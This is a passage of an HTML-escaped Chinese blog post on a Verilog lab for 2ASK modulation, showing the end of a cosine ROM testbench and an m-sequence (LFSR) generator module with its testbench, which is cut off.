number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e\u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003ecos_8x8cos_8x8_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eaddress \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e address2 \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclock \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e clk \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eq \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e q \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/cos%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"3-m序列产生模块\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#3-m%E5%BA%8F%E5%88%97%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" class=\"headerlink\" title=\"3.m序列产生模块\"\u003e\u003c/a\u003e3.m序列产生模块\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_45015947/article/details/89891757\"\u003em序列产生原理及其性质_Angelo_pj的博客-CSDN博客_m序列\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/377685193\"\u003e【verilog杂谈(一)】 2-16位长度的m序列发生器 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e要求:按原理2.3节设计m序列产生模块,要求产生不同长度的m序列。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e代码根据实验要求修改自参考链接,可以产生2~16位的m序列。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emxulie.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e mxulie#\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// parameter range from 2 to 16\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e m_sequence \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// shift reg\u003c/span\u003e \u003cspan class=\"token function\"\u003ecase\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e9\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edefault\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendcase\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e//~ `New testbench\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_mxulie\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// M_series Parameters\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e M_len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Inputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Outputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk\u003cspan class=\"token operator\"\u003e=~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emxulie #\u003cspan class=\"token 